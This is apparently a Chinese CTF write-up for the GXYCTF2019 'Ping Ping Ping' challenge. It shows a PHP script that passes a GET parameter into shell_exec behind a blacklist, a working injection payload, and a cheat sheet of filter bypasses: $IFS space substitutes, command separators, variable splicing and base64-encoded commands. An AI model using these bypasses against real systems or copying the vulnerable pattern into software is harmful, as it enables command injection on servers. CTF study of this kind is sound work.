关于命令执行的几种简单绕过方法

警告
本文最后更新于 2023-01-29,文中内容可能已过时。

例题

[GXYCTF2019]Ping Ping Ping

目的是通过发送get请求绕过执行命令

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
	echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
	die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
	die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
	die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
	die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}
?>

这是过滤脚本

用$IFS$9代替空格

我直接用的catls

循环套用打印出ls展示的文件

payload:

xxxxx.node4.buuoj.cn:81/?ip=8.8.8.8;cat$IFS$9`ls`

命令执行的空格代替

$IFS

${IFS}

$IFS$9 $9指传过来的第9个参数

%09用于url传递

命令执行的分隔符

换行符 %0a

回车符 %0d

管道符 |

连续指令 ;

后台进程 &

逻辑 || &&

命令执行的绕过

变量替换

a=l;b=s;$a$b

会以"ls"命令执行

base64编码

`echo Y2F0IGBsc2A= | base64 -d`

Y2F0IGBsc2A=解码后是catls

base64 -d 解密

`` 对解密这个结果再去执行命令

0%